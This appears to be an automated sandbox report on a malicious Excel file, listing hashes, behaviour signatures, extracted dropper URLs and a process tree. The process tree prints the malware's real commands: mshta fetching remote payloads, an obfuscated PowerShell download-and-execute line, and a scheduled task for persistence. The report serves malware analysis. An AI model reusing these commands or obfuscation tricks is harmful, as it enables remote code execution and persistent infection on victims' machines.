Overview

overview

10

Static

static

8

Microsoft_...t3.xls

windows7-x64

10

Microsoft_...t3.xls

windows10-2004-x64

10

Analysis

  • max time kernel
    100s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    14-09-2022 08:31

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    Microsoft_Excel_97-2003_Worksheet3.xls

  • Size

    36KB

  • MD5

    4e5efb8250aa5094deb1dc99e5786830

  • SHA1

    42124e78ce95be3600258770a002ae01f5e70652

  • SHA256

    0fefe416888a41939d0d7143846844edac1b4ee1ea5fd8f98a893ade7a62d34f

  • SHA512

    cdba63c4ee4620e85b0af3c08911e237bf0b373187efcad9983d2d6bd9aa5238283ef08ba12e00c04ac4bbb41aa10008ce68a984be70de24d86ee3e6ac2c167d

  • SSDEEP

    768:1pz9l7Vbta45G/d9K1EghHsYwiSLSpO7Zp:1pzPzzWdqEghCiKTt

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

https://www.mediafire.com/file/6vip6utwodclo5k/1.htm/file

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 9 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Office loads VBA resources, possible macro or embedded object present
  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Kills process with taskkill 1 IoCs
    evasion
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
    adwarespyware
  • Modifies registry class 64 IoCs
  • Modifies system certificate store 2 TTPs 5 IoCs
    evasionspywaretrojan
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\Microsoft_Excel_97-2003_Worksheet3.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1100
    • C:\Windows\SysWOW64\rundll32.exe
      rundll32 SHELL32.DLL,ShellExec_RunDLL "mshta" "https://www.mediafire.com/file/6vip6utwodclo5k/1.htm/file"
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:860
      • C:\Windows\SysWOW64\mshta.exe
        "C:\Windows\system32\mshta.exe" "https://www.mediafire.com/file/6vip6utwodclo5k/1.htm/file"
        3⤵
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        • Modifies system certificate store
        • Suspicious use of WriteProcessMemory
        PID:2036
        • C:\Windows\SysWOW64\taskkill.exe
          "C:\Windows\System32\taskkill.exe" /f /im WinWord.exe
          4⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:696
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (I'r'M('https://www.mediafire.com/file/js9o7zmm8jxypb0/1.txt/file') -useB) | .('{欠}{吗}'.replace('吗','0').replace('欠','1')-f'你','疯').replace('疯','I').replace('你','EX') | ping 127.你疯了.你疯了.1
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1672
        • C:\Windows\SysWOW64\schtasks.exe
          "C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 73 /tn micsrssowfwWorsald /F /tr """Mshta""""""http://www.webclientservices.co.uk/p/1.html"""
          4⤵
          • Creates scheduled task(s)
          PID:1608

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/1100-70-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

    Download

  • memory/1100-55-0x0000000071841000-0x0000000071843000-memory.dmp

    Filesize

    8KB

    Download

  • memory/1100-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

    Download

  • memory/1100-57-0x000000007282D000-0x0000000072838000-memory.dmp

    Filesize

    44KB

    Download

  • memory/1100-58-0x00000000763F1000-0x00000000763F3000-memory.dmp

    Filesize

    8KB

    Download

  • memory/1100-71-0x000000007282D000-0x0000000072838000-memory.dmp

    Filesize

    44KB

    Download

  • memory/1100-63-0x000000007282D000-0x0000000072838000-memory.dmp

    Filesize

    44KB

    Download

  • memory/1100-54-0x000000002F841000-0x000000002F844000-memory.dmp

    Filesize

    12KB

    Download

  • memory/1672-69-0x0000000069060000-0x000000006960B000-memory.dmp

    Filesize

    5.7MB

    Download

  • memory/1672-68-0x0000000069060000-0x000000006960B000-memory.dmp

    Filesize

    5.7MB

    Download